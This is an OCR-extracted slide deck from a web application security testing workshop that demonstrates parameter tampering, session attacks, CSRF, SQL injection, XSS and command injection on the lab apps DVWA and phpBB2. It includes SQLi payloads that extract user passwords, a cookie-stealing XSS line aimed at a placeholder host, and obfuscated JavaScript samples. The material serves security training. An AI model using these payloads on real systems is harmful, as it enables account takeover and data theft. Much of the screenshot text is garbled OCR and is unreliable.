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.‘Your coach for today

\\\\\'”“/// Dave van Stein
/
N\ -
—— Security Consultant

Web Application
Penetration Tester
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‘ Purpose of today’s workshop

v Creating awareness
— What is wel jeation security

Inerabilities in web

e Paramel e
e Session
¢ Injection issUE O

- Learn how to dete
— Current state of web application security
- How to test for web application security
— Next steps on your road
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‘ Audience

v We suppose you have

— Some experience with testing: functional
testing, performance testing...

— No or little experience with security testing

— Basic knowledge of web application
technology
e Web application tiers, proxy servers
e HTTP: requests, cookies, status codes
e HTML
e JavaScript
e SQL

@ s_test%fe
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‘ Agenda

v Block 1

v Coffee break

v Block 2

TEST"EII;:‘“

13:45 - 15:15

15:15 - 15:30

15:30 - 17:00
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.‘Agenda: Block 1

v Introduction to web application security

v The testing environment
— Burp Suite Pro
- Damn Vulnerable Web Application
- phpBB2

v Demonstrations
— Parameter Tampering
— Session Management
— Cross-site request Forgery

@‘ s_test%fe
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| ‘ Agenda: Block 2

v Demonstrations
— SQL Injection (SQLi)
— Cross-site scripting (XSS)
- Command Injection

v Final presentation
— State of Web Application Security
— Application security from <> Perspectives
— The application security testers’” mindset
— An approach to WAST
— Automated testing
- How to continue from here

| TEST"h*
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‘ Functionality <> Application security

his is wha
your application
was supposed
to do, but
doesn’t!

The system as
developed

~ynctional bugs

The system that
was tested

This is wha
your application
can do, but
you're not
aware of!

3 t\/ére

Your devil’s advocate

The system as
designed

security fla
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users look at web apps
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| ‘What web applications look like

Web Security

Web Browser / Client

2008 € Copyrgnt Whatetal Secunty, Ing.

@ s_test\)/afe
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‘ How attackers look at web apps

@ s_test%fe
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<\ How attackers look at web apps

Path n
traversal i
Bypass i
. Forged
token

Authentication File
server
\ C_omm_and = 1
" Injection Smeitting arbitrary data
Server
w7 Mail
Application injection

server

Misleading users

Mail
server

Access control

TERG: his picture represents only a fraction of attack categories - \/
j services S'teSt are
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,, “This breaks basic security rules

Manipulating
data (bank transfers)
source (user, action)
systems

Stealing
e accounts &
passwords
e session ids
¢ identity information
e credit card numbers
e secret & confidential
business data

Destroying, exhausting

e data (deleting)

e application (memory,
defacing)

e services

e systems (take over)

ns_leselare

four devil's advocate
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| ‘ Web application security

v Not about network security
- Firewalls
- IDS/IPS
- Hosts, operating systems, servers, middleware
— Network infrastructure: routers, switches...
— Patching of system software
— Malware prevention and removal

v All these are extemely vital

v Web application security is build on top of
that

@‘ s_test%fe
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‘ Web application security

Web
Application
Security.

Web

Application
Security

Browser Web Server
Plugins App Server

HTTP(S) DB Server
Client Host
Infrastructure 0S 0S Infrastructure
Security Security

Network equipment

ALEIENETS Ps_testWare
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‘ Mostly misunderstood




‘ Damn Vulnerable Web Application

e

Welcome to Damn Vulnerable Web A

Insuctions Daves Vidnesstde Web Apo {DVWAL 10 2 PP ANSOL web apphomtion tha eatie It "
Mconc st o S wat thep sills and tools i 2 legal smeronment. help wab dewso

we 1o be o »d for

5.“, betier understand t

Ser und
- application secunty in 3 Cass 100M eV

Beute Force WARNING!

pp!

tmd

c,l," "',',"da,'."““ .' Dasve Viinaradie VWb App 9 damn winestia! Do not upload i 10 your heating peovidar’s polic e (o r of
w nismet & o e A N corgromanad \We recome and ¥

CSRF
Fill Inchunion

SQL tnjection

SAL Wojection (Blind)
Upload

XSS roflacted

Logout

Username: admin
Security Level: low
PHPIDS: anatled

TEST"EII;I"-
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Brute Force accounts
Command Injection

Cross-site Request
Forgery

File Inclusion

SQL Injection
Insecure Uploads
Cross-site scripting
Session Hijacking

Ps_test\/are
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‘ phpBB2

Vulnerable phpBB
Ty 10 hick this forum

Version 2.0.0 (2001); no
vulnerabilities added !

Copyright © 2011 ps_testware
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Cross-site scripting
SQL Injection

Session Hijacking
Session Fixation
Authentication Bypass
Privilege Escalation

Cross-site Request
Forgery

Insecure Redirect
HTTP Header Injection

Remote Code
Execution
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| ‘ Testing Tool: browser

v Firefox with add-ons:
- Web developer : show/edit structure of website

@Disable & % cookies ¥ 2 css P = Forms $ HImages & @Information &

LiMiscellaneous & " Outline & |13 Resize & ¥ Tools F == View Source & || Options &

- Hackbar : quick request tampering
| INT $ = @ 50l ¥ %55 & Encryption & Encoding § Other $
&jLoad URL
I spiit URL
F | Execute

[ Enable Postdata | Enable Referrer

@‘ Ps_test%re
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: Intercepting proxy

Intercepting
proxy



| ‘Testing Tool: local proxy

v Burp Suite Professional

v Local proxy, "Man-in-the-middle”

; ‘o a0
Sem AU i "
me | gy T wp sevwr | wWuse | epesier | pemmncer | Sessear | oo
% | wimcagt | when | Sedey
ntercepts all requests === o
Ea n Owhad T TR PVt adwtaan, 19
3 ey Q€T oon? 1 haept
and responses
p =
”~ sy
") et
“; Daew Vg
) Pama et

v Allows for analysis and
editing

@‘ s_test%fe
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‘ Intercepting proxy

i- burp suite professional vl.4beta - licensed to ps_testware NV [2 user license]

i burp intruder repeater window about
rtarget rproxy rspider rscanner rintruder rrepeater rsequencer |/_(
fintercept roptions rhistory |

4 burp suile professional viAbcta  boemsed 1o ps_testmare BV [2 aver = — =10l %
butp  Inbuder  repedisr  window  about
- - _ = = = ot | prusy Erll scannes Intrudet repaster 2B GUENCRY decode COMMDaNes apluns Sles
| forward || drop || intercept is off || actic - - —
L ptons Nistney
\ !
raw |/hea=:!ers |/ hex | L Piding GSS. irtbod ha a8ners by coment
i
! = = = = = ———— =
host methed | URL |params; mod_|
tap Necainost CET 1 167
Ihap Mocaihost GET i e HTWL | eI
trip SEY 407
L BET WML P Dan
p GET HTWL 201
hip SET 200 HTML Yu
il
.!
e ’
¢ 1
I 1equest | response
N
B oraw | neagers | hax
BCET /d P/l -
i Homt: locallhoxe
i Uner-Agent: 1110/92,0 (VWindows NT 5.1; rv:l2.0) Gecko/T0100101 Ficefox/4.0
! I texc/homl,application/ xhemi+xpl, applicavion/xml; q=0.9,%/*,g~0.0
Language: us Jd.enigen.3
pt-Encoding: , deflate
SO-00%5- ), att-0;q=0.7, *; q=0.7
3 ! Keepralive
EReterwr: htep://locallicat
DNT: )
-
- - 0.l 0 matthes

TESTLAR Ps_test are
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Parameter Tampering
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y ‘ Parameter Tampering

v Cause
— Not validating request parameters on server-side

v Attack mechanism
— Tampering client-side parameters

v Direct consequence
— Abuse of functionality

v Collateral damage
— Loss of profit, hosting malicious software

@‘ s_test%fe
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"N Upload any! file > 100 kB

&%) Daenin Vidnerabile Wb Agp (OVWA) v1.0.7 - i pheilDS veersion bry s re = Vail ! . “ o =101 xi
Lhs Lk Yew Mzory Bockmerks Bobs o

oo ﬁ . bt/ focahostfdvwalvurerabitiesi pload ! o~ 3 3'07 " \'

Dvestie & RCockies B 7 055 B 5 Forvs B Dimages B rfomstion  Llrcelneos 3, 0uthoe & RRecte & ¥ ok & | view Sowce 3 1) Cptions B {Detaue U
[0 Vulnerable We.., + =

Howe o Vulnerability: File Upload

Choose an image to upload

Setup | Browss |

Brute Force | Uplosd

Comimand Execution .
CSRF ; More info

Pw |
SOL Injection
SOL Injection @lind) |

XSS reflected |
XSS storod |

DVWA Security
PHP Infe
About

IOW Lagout

Usemame: admmn
Security Lovel: low
PHPIDS: disablec

XK foagess 11 Loaded: TKE  Spasd: 14,14 ¥8)s  Tme G495 B2

View Source | View Help

Ps_test\/are
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“Upload non image file

) Daenn Vidnerable Web App (DVWA) v1.0.7 - no phalDS version by pe_testware = Valnerability: Fill Ustoad efox =10
Lhs Lk Yew Mzory ockmerks Bobs o

‘ ; ‘3 ﬁ » http f focahost/dvwalwdreratitiespload/ R s -"0 .. \'

Dvesstie & R cockies B 7 o550 5 Farvs B Dimages B I rfomstion & Llrcetsneos 3 Outioe @ WRecte & ¥ ok § | view Sowce 3 () Cptions B {JDefaie U
[ O ann Vulnerable We.., + =

Hwe oy Vulnerability: File Upload

Chonse an image to upload

Setup Browss

Brute Force \ _Uplosd |

Comamand Execution
CSRE

Fllw lnchusion

SOL Injection

SOL tnjection @ind) |
Uplood

XSS reflected |

More info

Medium Logout

Usemame; admmn

Security Lovel: medutr View Source J \Aﬁm
PHPIDS: disablec

X tooages 171 Loaded: VB Spasd: 67,95 K85 Time 0404 -

Ps_test\/are
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Session Management
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‘ Authentication basics

Solutlon session tokens
S s S S —T—

@ Ps_test\/are

Copyright © 2011 ps_testware Your devil’s advocate



| ‘ Session management

v Web applications needs to keep track of
states of users

v Problem: Application needs a user state,
but HTTP is stateless protocol

v How?: By implementing Session
Management
— Server creates unique identifier for each client
- Client sents identifier with each request

@ s_test%fe
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y ‘ Session management basics

@‘ Ps_test\)/are
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Demonstration:
Session Hijacking
And
Fixation

@‘ Ps_test\)/are
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‘ Session hijacking

v Cause
— Session tokens are not uniquely linked to client

v Attack mechanism
— Use known valid session token

v Direct consequence
- Logging in without credentials

v Collateral damage
- Unauthorized access to application

@‘ s_test%fe
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‘ Session hijacking

When Ted opens the
interesting link, the
script becomes active

Vulnerable application

authenticated ...

Malicious User Trusted User

TEST"ilI!I"-
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? ‘ Session fixation

v Cause
— Session tokens are not reset after authentication

v Attack mechanism
— Trick user in using a URL with fixed session token

v Direct consequence
— Session Hijacking possible

v Collateral damage
- Unauthorized access to application

@‘ s_test%fe
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,, ‘ Session fixation

When Alice sends the | vylnerable application
So she creates a link

to the application and
hides a blank
- ticket in it

“authenticated ...

Malicious User Trusted User

@ Ps_test\/a're
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,, ‘ ‘ Demonstration in phpBB

2 browsers, cookie manager, local proxy

 Log in the application, log off again
 identify newly issued sessionid

« Construct URL containing new session id
http://localhost/phpBB2/login.php?sid=<token>

 Open URL in second browser and log in as
‘admin’

- Refresh page in first browser and observe what
[estd@happened ps testWare
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| ‘ Cross-site Request Forgery

v Cause
— Only predictable parameters in requests

v Attack mechanism
— Direct link to functionality executed by victim

v Direct consequence

— CSREF allows attackers to use a victim’s authorisation to
execute a function

v Collateral damage

— Can be automated when combined with XSS
e More on that this afternoon

@‘ s_test%fe
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“Cross-site request forgery

and found a process
she can do Evil® with.

the Evil® action with
" his own authorizations '

Vulnerable application

Malicious User Trusted User

(TESTLIAR
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®

DRINK
COFFEE

Do Stupid
Things

Faster |
with More s
Energy | el

0 ‘ 0: » . ‘. < /
b ‘o.
St ‘» -
'TEST , \)(
:j Ps_test are
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| ‘ Agenda: Block 2

v Demonstrations
— SQL Injection (SQLi)
— Cross-site scripting (XSS)
- Command Injection

v Final presentation
— State of Web Application Security
— Application security from <> Perspectives
— The application security testers’” mindset
— An approach to WAST
— Automated testing
- How to continue from here

| TEST"h*
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‘ First Mentions of XSS and SQLi

Internet Hosts

Millions

800

700

600

500

400

300

200

100

World Internet Hosts: 1981 - 2009 (Data Source: ISC
https:/lwww.isc.org/solutions/survey/history )

SQL /

Cross-sit€™ Injection /

Scripting /

) A5 B I8 R S B TR R, <23 20 D B 5 o 28 R £ GO G RS <R 50 5. U -2 ) T T T T T T T T T T T T T T

TP RPELR RPN NP PR RIS IPITRIPIRP

Year

TEST"EII;I"-
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SQL Injection

@ Ps_test\/are
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| ‘ SQL injection

v Very ‘old” vulnerability but still very common
nowadays

v Trusting user input; using unfiltered,
unsanitized user input

v Several subtypes:

— Error based
— Boolean (half blind)
- Time-based (full blind)

@‘ s_test%fe
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‘ SQL Injection

v Cause

— Trusting user input; using unfiltered, unsanitized user
input

v Attack mechanism
- Injecting SQL commands in input fields or parameters

v Direct consequence
— Server-side execution of SQL commands

v Collateral damage

‘ - Loss of CIA, hosting malicious software, data leakage
@ s testWare
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,“SQL Injection example

User: |

Suser

Password: |

$password

Web application dynamically constructs SQL statement and
sends it to database:

Select * from users where user = ‘$user’ and password =
‘$password’

@ Ps_test\/are
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‘ SQL Injection example

Result from query is used in response

v $user / $password valid (result is
returned)

You have successfully logged in !

v $user / $password invalid (no result
returned)

Username / password invalid !

@ Ps_test\/are
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,“SQL Injection example

v $user = ' OR'1'="1" /* (for MySQL)
v $password = <empty>

Web application constructs SQL statement:

Select * from users where user = " OR '1'="1" /*’ and password

\7s

Database treats this as

Select * from users where user = “* OR '1'="1" /*

Always True = first user is selected (usually admin or root
user)

@ Ps_test\/are
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"N 5oL Injection in DVWA
.+ 2

Vulnerability: SQL Injection
User ID:

Irstructions
Sewp

Swberit 1

Brute Forcs |
Command Execution | More info

C5RF | 1
e ki || *

S04 injection Binc)

EE— « 2' AND 1=1

— « 2'"AND 1=1 /*

PHP Info

low h_ = . 2'AND 1=2 /%

Logout

'"OR 1=1 /*
Usammom ol 2 —
‘.-a‘scw:yLew-r bow """m, View Help o 2 —

@ Ps_test\/are
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, ‘ ‘ Demonstration in phpBB

« Find number of fields in quey with ORDER BY:
« &p=1 ORDER BY 1 /*

« Increase value until no results are returned (= error in

query)
=> 31 in phpbb

- Identify location of fields with UNION SELECT
1,2,3...
« p=-1 UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
22,23,24,25,26,27,28,29,30,31 /*

=>1,3,21,31,17 in phpbb

@ Ps_test\/are
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, ‘ ‘ Demonstration in phpBB

Retrieve username / password

« &p=-1 UNION SELECT
username,2,user_password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1
9,20,21,22,23,24,25,26,27,28,29,30,31 from phpbb_users where
user_id=<value>/*

Retrieve MySQL version

« &p=-1 UNION SELECT unhex(hex(@@version)),
2,3,4,56,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
27,28,29,30,31/*

Retrieve database name

« &p=-1 UNION SELECT unhex(hex(user())),
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
27,28,29,30,31/*

Retrieve database user

&p=-1 UNION SELECT unhex(hex(database())),
@ 2,3,4,56,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
27,28,29,30,31/* Ps_[est are
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Cross-site Scripting
(XSS)
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" Cross-site scripting (XSS)

v Most common vulnerability nowadays
- 75% - 97% of web applications have issues

v Trusting user input; using unfiltered,
unsanitized user input

v Several sub-types:

— Persistent XSS
— Reflective XSS
— DOM based XSS

@‘ s_test%fe
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| ‘ Cross-site scripting

v Cause

— Trusting user input; using unfiltered, unsanitized user
input

v Attack mechanism
— Injecting javascript in input fields or parameters

v Direct consequence
— Client-side execution of javascript

v Collateral damage

‘ — Session hijacking, CSRF, malware infection
@‘ s_test\’/are
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‘ Let’s talk XSS

<script> alert("XSS

- - custom text");
: - </script>

The page at hitp:fMocalhost says: X

§, *55
r.‘.

-

@ Ps_test\/are
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‘ Famous worms

First 24 Hours of Worm Propogofion

1.250.000

1,000,000

2005 My space S

500,000

250,000

0
W CodePet! W Codefedil W Sumwe W Bhuter W Seny

Last 20 Days
Keebface

01 Aug, Fri 250
02 Aug, Sat 286

2 O O 7 03 Aug, Sun 772
04 Aug, Mon 940
05 Aug, Tue 33807 || 0
06 Aug, Wed | 224034 |/ ]

40 000!
2010 Cuitterd ¥ fues

LN Ps_l:est\/are
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,“XSS example

Search:

v

$input

<HTML>

Your search for $input gave the
following results:

</HTML>

TESTLIAR
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,“XSS example

v $input = Test

Your search for Test gave the following
results:

v $input = <b>Test</b>

Your search for Test gave the following
results:

@ Ps_test\/are
Copyrigh 011 ps_testware
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“XSS example

v $input = <script>alert('Evil
Script’) </script>

Your sea Evil Script lowing
results:

OK

@ Ps_test\/are
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‘ Persistent Cross-site Scripting

Vulnerable application
And the server ‘

becomes
compromised or
data is stolen
“script

another user / \
e 2

Malicious User Trusted User

@ s testWare
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,, ‘ Reflective Cross-site Scripting

Vulnerable application

.. And the server

e becomes

b compromised or
' data is stolen
sent back to Ted
“mail)

Malicious User Trusted User

@ Ps_test\/a're
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‘ Exercise: Stored XSS in DVWA

low

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQAL Injection (Blind)

Upload

XSS reflected

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Vulnerability: Stored Cross Site Scripting (XSS)

MName * |
Message * |
4
Sign Guestbook |
Mame: test

Message: This is a test comment

More info

View Source | View Help

Ps_test\/a're
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‘ Reflective XSS in DVWA

Vulnerability: Reflected Cross Site Scripting (XSS)

Home |

Instructions |

What's your name?

| Submit |

More info

Brute Force

Command Execution

CSRF

File Inclusion

SAL Injection (Blind)

Upload

|
|
|
|
QL Injection |
|
|
|
XS5 stored |

DVWA Security |
PHP Info |
About |

Logout |

Username: admin ) )
\ Security Level: low View Source | View Help

PHPIDS: disabled

Ps_test\/a're
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‘ XSS as an attack vector

Cross-site scripting is often used as an attack vector for
other attacks:

v Defacement
<body onload="http://evil.site”>

v Session hijacking
<iframe

src="javascript:document.location('http://evil.site/catch.php
?cookie="+document.cookie);">

v Cross-site request forgery
<IMG src="http://vulnerable.site/authorized_function” />

@‘ s_test%fe
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’.‘Do you see the problem ?

(E=[A=[]p= ‘A+AJIH[E—- -‘“A]H{}*A)[C HA+p,*=C[A]+C[+!A]LA]+7])()
[u[Al*‘u[A*A]*C[E]*“]

($=[S=[I(__='$+8)[_=-~-~-~8]+({}+$)_/_]+($$=($_=!
+$)L/ +S_[+SDNOL_L/ 1+ _[ +~8]+$_[ ]+88](_/)

<dtv id=mycode style="BACKGROUND: url('java
SC upt eval(document all mycode. expr)')" expr="var B=String fron

X

e{return eval('document body inne'+'rHTML")} Hunction ge
' r AS=new Array

a 1t soowuers g

XSS )=escape( 2.indexOf("+")1=-1){Q=0Q replace('+',’
A k false }eval('] onr'+ ;ud ystat "chm*e BI').J.open(BJ BH. true) (B
ttac S rue Hunction findin(BF BB BC){var R=BF .indexOf{BB)+BB let
valie="+B_B) }Hunction getFromURL(BF .BG){var T:fiBG=—"My
e o Y Munction getXMLObj(){var Z=false:if{ window. XMLHttpRequ
ActiveXObject('Microsoft. XMLHTTP") } catch(e){Z=false} } }re

2l Ps_test\/a‘re
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Y ‘ Javascript obfuscation

v Classic
— Alert(1)

v URL encode
— %61%6c%65%72%74%28%31%29

v Charcode

- eval(String.fromCharCode(97,108,101,114,11
6,40,49,41))

@‘ Ps_test\)/are
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‘ This is valid javascript !

o PIDICILAN+IDIFNFT+I DI+ + 0 +[+01T]1+(1+[])
S A IDIH O+ ID LI LT DL+ DD+ (OO DT DI+ L O+ QL+ LD L+ L] +(!
DA IDU I LTI DL T DL LTI A LD I L+ (LD L]+ [+
HI+ M+ CH DL+ LI+ COLD T+ LD T+ D+ LT+ LD+ LT+ LT+ DL DL+ L+ T LT+ (L[]
O+ DI+ CH L+ IDU [ ] [D AL+ DD+ [T O+ L+ CH LD+ (LTI
L1+LDI+LITH (T O D I+ LI+ L+ QO+ DU+ T+ LD T+ (LD LI+
FIAH D+ O+ DA (MDD T DT LC T+ LD LU+ (D LT DL D EH A D+ [+ D+ GO DU+ [+ L+ (L]
DIFOI+ G+ ID+IH [+ (L TD LA (] LD+ LI L LD LILC T+ LD L+ LT+ (T LD [
FOFAON+CAID IO+ ]+ DI L+ O DU+ L L+ L TD LD T[T+ (L
J+[ DI+ CA DL LA+ (LD O]+ TDEH L+ O L+ LD+ (CILC T+ LD I+ L]+ (T + [
LD+ [+ O+ CO+IDU+ [+ (LD LT CH DD+ LT [ ][ LD [T D[]+ ]
T+ U LD IO (DAL LC O+ DD LT+ (T LD I L IO QL LD+ L+ O]+ D T+
L+IDIH A [+ (O LD L TD U L+ LD+ (UL DD LA LTCC T+ LD LT+ L+ DD+ [T+ [+ (]
FHIDOA+ [+ [+ (MDD T D+ (UL A DD T DL LC T+ DD T+ L+ L+ DILID L+ + L+ [+ L1+ (T +[])
A+ O O+ IDEHL+HC DU [ L O+ (L [D L] ID [+ T LT+ OO LC T+ D+
[+ O+ DI+ O+ LA QL+ LD+ L+ DT LD U LI+ LH D LT
FIHHLHIT O+ DI+ L+ QL HID DD+ L [+ (LD T (T LD L L+ (L + LD UL+
J+IDIHI T D A+ LT+ LT+ C L+ ID U+ L L+ (A LD+ LD [T+
VA IDO LI+ LDE+ L]+ LD TC T DI+ (T DD L+ L+ DL+ C LD ]+ T+
(HL+IDIHI+ LA ID U [T L+ CH LD D L [T LT CH DD I LT+ DD I+ [T+ [T+
L[]+ CTTHCOIDCI LTI+ DD I+ D+ U T+ LI DI+ D+ [T+ O+ LD O+ T+ L+ TD LT+ (U
L+IDU AL+ I+ [T+ C LD I DA U A LA ]+ O DDA+ LIT+H T+ OO D L+ [T+ ]
FULHIDI O+ [T+ HIDIA A+ LD+ [ L]+ LT+ DL LD LT+ LD+ L
N+CLFIDI+L L L+ TD T O+ AU TD L T (DT + LD+ D+ CC T+ ED LA LU LT+ DD L+
LI+ CO+IDU+ AT ID LA+ C LA LD I+ [ I L+ T D O LD L]+ L]+ L]+ (1
LI+IDI+I+CH I OLC O+ ID LD+ T+ LD [+ L+ [+ L]+ C O+ LD+ [T+ L]+ (A LT LD T+ L+ (LD
HIH [+ 1+ DD ID I+ O+ [T+ (MDD I DI O+ D L A D T+ O
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N How 77

SN

NN U N N N NS

Javascript allows dynamic allocation

Javascript allows dynamic conversion (number -> string,
etc)

Javascript does ‘best effort execution’

[] : array

+[] =0 =1 + =2 etc...
[+[]] : first value in array (js arrays start at 0)

I[] = false (as boolean value)

I[] +[] = false (but now converted to text)

('[T +[DI[] => value ‘false’ is converted to text and put in array

('[T +IDI ] = a
(‘[T +IDI + ] = |
(‘[T +I[DI + - + ] =e etc etc

Other errors: true, undefined, etc

@ s_test%fe
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Command Injection

@ Ps_test\/are
Copyright © 2011 ps_testware

Your devil’s advocate



‘ Command Injection

v Cause
- Using unfiltered, unsanitised user input

v Attack mechanism
— Supplying executable operating system commands

v Direct consequence
- Uncontrolled execution of system commands

v Collateral damage
— Loss of control

@‘ s_test%fe
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"N command injection in DVWA

Home | Vulnerability: Command Execution
e | Ping for FREE
Setup |

Enter an IP address helow

Brute Force

| submit |

More info

CSRF

File Inclusion

SQAL Injection (Blind)

Upload

XSS reflected
XSS stored

|
|
|
|
SQL Injection |
|
|
|
|

DVWA Security |
PHP Info |
About |

low \ |
Username: admin Wiew Source | View Help |

Security Level: low
PHPIDS: disabled

:@ Ps_test\/a.re
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Web Application
Security Testing

@‘ Ps_test\)/are
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| ‘ Web Application Security Testing

v Application security from <> Perspectives

v State and misconceptions of Web
Application Security

v The application security testers’ mindset
v An approach to WAST
v How to continue from here

@ s_test%fe
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‘Tao: yin & yang

Functionality

Application security

@ Ps_test\/a.re
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| ‘ Development perspective

Functionality Application security

—What an application should - What an application should
do prevent to do

- Driven by use - Driven by abuse

— Conditions, capabilities and — Conditions, capabilities and
boundaries are determined boundaries are unrestricted

Example Example

- Only when logged in as — How should the application
administrator one can prevent an escalation of
perform administrative privileges attack?
functions

Developing defined conditions is controllable, but what about
developing all other conditions?

@‘ s_test%fe
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~ ‘ Business perspective

Functionality Application security
- Explicitly defined - Implicitly assumed
— Added value — Cost
- Defects — Risks
¢ related to mal-functioning e related to vulnerabilities
e non-conformance tolerance e protection/resistance level
—It’s a business discipline —Is it really a business concern?
e tangible e not tangible
e only the business knows e others know better, they think

Unfortunately, application security is perceived as something
technical, not driven by business

@‘ Ps_test%re
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‘ Organisational perspective

Functionality Application security
- Implementation - Implementation
e Developer concern e Security concern
e Most developers are not e Most security experts are not
security experts developers
e Developers rely on e Security staff relies on
technology, network security developers to develop secure
and the security department code
to provide security - We defend against outside
— We trust our user base attackers, so we apply

e Strong authentication
e Encryption, SSL
e Firewalls, IDS/IPS

Application security-is mostly “"implemented” outside the
application.

@‘ Ps_test\)/are
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* ‘ Testing perspective

Functionality

—Test basis

e business context

e requirements and specs
- Testability

¢ clear conditions -> coverage

e input -> expected result
— Retraceability

¢ to a specific functionality

e to a development artifact
- Testing

e QA department

Application security

—Test basis
e threat context
® security measures
- Testability issue
e infinite conditions
e exploit -> input
— Retraceability issue
e to a certain functionality?
e to a security mechanism?
— Testing
e ? department

Testing within a clear _context is pretty difficult, but what if

there is no context at all?

TEST"illii‘
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‘ Web applications are the main target

Figure 22. Attack pathways by percent of breaches within Hacking and percent of records

Web application

Remote access and control services/software
Backdoor or control channel

Network file/resource sharing services
Physical access or connection

Wireless network

Unknown

4% / 1%

2%/ <1%

2%/ <1%

7% [ <1%

Source: Verizon 2010 World-wide survey on data breaches

v

Vulnerability Disclosures Affecting Web Applications

18,000
16,000
14,000
12,000
10,000
8,000
6,000
4,000
2,000
0

54% / 92%

34% / 2%

23% /5%

Cumulative, year over year

| | | | |
1996 1999 2000 2000 2002 2003 2004 2005 2006 2007 2008 2009 H1

source: IBM X-Foece® .
s_test%re
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| ‘ The “Old problems” are still valid

OWASP Top Ten (2010 Edition)

A3: Broken
. . X A4: Insecure
A2: Cross-Site Authentication Direct Object

Scripting (XSS) and Session References
Management

Al: Injection

A5: Cross Site

AG: Security
Request Forgery : - 4
(CSRF) Misconfiguration

A7: Failure to AS8: Insecure
Restrict URL Cryptographic
Access Storage

A9: Insufficient A10: Unvalidated
Transport Layer Redirects and
Protection Forwards

OWASP

The Open Web Application Security Project

hup://www.owasp.org

s_test%fe
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_y“OWASP top 10 explained

Dutwrtads bty
EARY

. DESCRIPTION

~When are you || How to prevent
~vulnerable |

Examples - Background
| o Information

@ Ps_test\/a.re
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‘ How difficult or easy

Figure 35: Atmck ety by pescert Figure 42. Cost of recommended preventive
of breaches and records
measures by percent of breaches*

o High—Advanced methods

and/or extensive resources 4% Difﬁcu't and expensive
(87%)  and/or elite skills, etc (rare)

Moderate—Skilled methods
CELM  and/or some customization
and/or significant resources 32% 64%

Intermediate Simple and

cheap

Source: Verizon 2010 World-wide survey on data breaches

@ *\ferizon caseload only S I;esl: Ja i'e
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v Two low risk vulnerabilties

— Vulnerability 1:
Application allows to store arbitrary javascript in a users’
display name that gets executed just after login

e Why resolving? You don’t gonna hack yourself, aren’t you?
- Vulnerability 2:

A flaw in access control allows users to change the display
name of other users

e That will be funny. I could call you “beep”.

v The result of both

— A hacker injected a simple javascript in the admin’s display
name that forwarded the admin’s session id to the hacker.
Subsequently, the hacker compromised the full system.

v Lesson learned here
- Most attacks combine the exploitation of several vulnerabilities

@— Apply a defense-in-depth approach s-tesb/afe
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‘ Hackers: insiders?

of breaches within Internal

Table 2. Types of internal agents by percent

{ TEST]
mizon 2010 World-wide survey on data breaches

Copyright © 2011 ps_testware

Regular employee/end-user 51%
Finance/accounting staff 12%
System/network administrator 12%
Executive/upper management 7%
Helpdesk staff 4%
Software developer 3%
Auditor 1%
Figure 7. Threat agents (exclusive) by percent of breaches
45% 27% 1% 279 [EsaoHE i
External only Internal only Partneronly | Multiple agents

Figure 12. Role of internal
agents by percent of breaches
within Internal

Unintentional

Inappropriate

L7 Deliberate

Ps_test%re
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| ‘ Result

Gap in responsibilty
— Business: not feeling or willing to take responsibility
— Technical: development <> security department

v False sense of feeling secure
— Terror comes only from outside
— Infrastructure will sufficiently mitigate the risks

Non-defensive application development approach
Difficult to test the resistance against (known) attacks
Lack of awareness

The web wasn’t designed to be secure

Rapid evolving (insecure) web technologies
— Web enablement, open technologies
— Desktop like web applications (Ajax, RIA)
— Push for SaaS and cloud based services

@ s_test%fe
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| ‘ Result

The vast majority of web applications have serious
security vulnerabilities

v Web application security is the weakest link within the
security domain

v The situation is not improving
v Hackers gradually move up the stack

@‘ s_test%fe
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‘ Solution

v Not enough time in this presentation ®

v But, you can start with
— Assessing the current situation in your environment
— Performing a pilot application security test
— Convincing management
— Creating awareness

@‘ Ps_test%re
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" ‘ The tester mindset

Functional tester

— Understand business
e Objectives
e Use cases

— Analytical skills

e Analyse within the defined
functional context

e Focus is on use of
functionality

e Apply structured techniques
to derive test cases

e Detect defects
- Objective
e Satisfy business

| TEST"h*

Copyright © 2011 ps_testware

Application security tester

—Understand hackers & app sec
e Interests
e Attack patterns

— Associative skills

e Assess the whole application
behaviour (open context)

e Focus is on abuse of the
technical implementation of
functionality

e Iterative approach: result of a
test case is input for a future
one (repeatability?)

e Find vulnerabilties, exploit
these, perform a rating and
formulate recommendations
(expertise)

- Objective
e Frustrate hackers

s_test%fe
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‘ Hacker <> App sec tester

Hacker Application security tester
— Approach — Approach
e Reconnaissance e Same but legal

e Detecting vulnerabilities
e Exploitation possibilities
e Preparing the attack

e Performing the attack

e Covering tracks

— Resources — Resources
e Plenty of time e Limited
e Lots of information sources e Expertise
e Huge toolkit e Effective approach
- Objective — Objective
e Maximize profit e Maximize prevention

@‘ Ps_test%re
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"‘An approach to WAST

Efficient Not that effective
Injections and checks Scanning Signature based

in short time
Don’t stop here

Not that efficient
Testing takes time

Effective
Human intelligence

s_test%re

Copyright © 2011 ps_testware PYOUI devil's advocate

-:-Ttsr-h Dig deep enoug



Recon and analysis

H

H

;

1. Map application content :

i

i

2. Analyze the application I .

i

______________________________________________________________________________________ H

> 7 >
|  Application fogic | | Access handling | | Inputhandling | | Application hosting !
1 1 1 ] 1 1 1 1
1 ] ' 1 ' 1 1 1
: o i i i
i | 3.Testclient-side { : . 4. Test b 7. Fuzz all i 1| 10. Test for shared §f
i controls P authentication o6 parameters P hosting issues !
' ] 1 I 1 ! 1 1
E P P P :
: T o : ! H
] 1 1 1 1 H 1 ] 1
1 9. Test for logic . 5. Test session P 2 \E:"tsr: ;%;';?iges P 11. Test the web :
i flaws P management [ - v server '
: P g U functionality 5 : 5
. i ] i i
1 ' ' ' 1 ' 1 1
: P P P i
: b 6. Test access o i :
1 1 ! ] I 1 1
i v controls [Log P '
1 ] 1 I 1 ! 1 1
] ' i ' 1 ' 1 '
. i ] i i
! T cia ¢! i
12. Miscellaneous
checks
TESTLIAR - V/
e: The Web Application Hacker’s Handbook PS-tCSt arc
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ACKCIS

[Jandbook

OWASRP Testing Guide v3.0

@) OWASP IIEi:\\'(‘h,\l)l)“(‘Z”i()ll

Common Attack Pattern Enumeration and Classification
« A Community Knowledge Resource for Building Secure Software

Ps_test\)(a‘re
